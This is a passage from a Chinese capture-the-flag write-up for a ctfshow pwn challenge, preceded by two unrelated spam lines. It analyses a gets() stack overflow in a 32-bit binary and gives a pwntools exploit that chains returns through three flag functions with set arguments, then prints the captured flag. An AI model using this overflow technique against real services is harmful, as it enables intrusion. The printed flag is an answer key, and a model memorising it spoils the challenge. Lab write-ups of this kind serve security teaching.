英文b2c網(wǎng)站建設(shè)今日熱點(diǎn)新聞?lì)^條國(guó)內(nèi)
你是我的誰(shuí),我的我是你的誰(shuí)
32 位程序,開啟 NX 保護(hù)
看主函數(shù)
跟進(jìn) ctfshow 函數(shù)
gets 存在溢出
注意到有三個(gè)與 flag 相關(guān)的函數(shù)
先看 flag 函數(shù)
輸出 flag 的條件:
if ( flag1 && flag2 && a1 == 0xBDBDBDBD )
看 flag_func1 函數(shù)
會(huì)直接將 flag1 置 1
看 flag_func2?函數(shù)
flag2 置 1 的條件
if ( flag1 && a1 == 0xACACACAC )
那么思路就很清晰了,溢出后先跳到 flag_func1,將 flag1 置 1
再跳到?flag_func2,滿足條件讓 flag2?置 1
最后跳到 flag 函數(shù),滿足條件讀取打印 flag
寫 exp:
# @author:My6n
# @time:20250614
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28295)elf = ELF('./pwn')
flag_addr = elf.sym['flag']
flag1_addr = elf.sym['flag_func1']
flag2_addr = elf.sym['flag_func2']payload = cyclic(0x2c+4)
payload += p32(flag1_addr)
payload += p32(flag2_addr)
payload += p32(flag_addr)
payload += p32(0xACACACAC) + p32(0xBDBDBDBD)io.sendlineafter('Input your flag: ',payload)io.interactive()
沒有問題
拿到 flag:?ctfshow{e4a15f8b-48a0-46ce-9783-7fa48bef281a}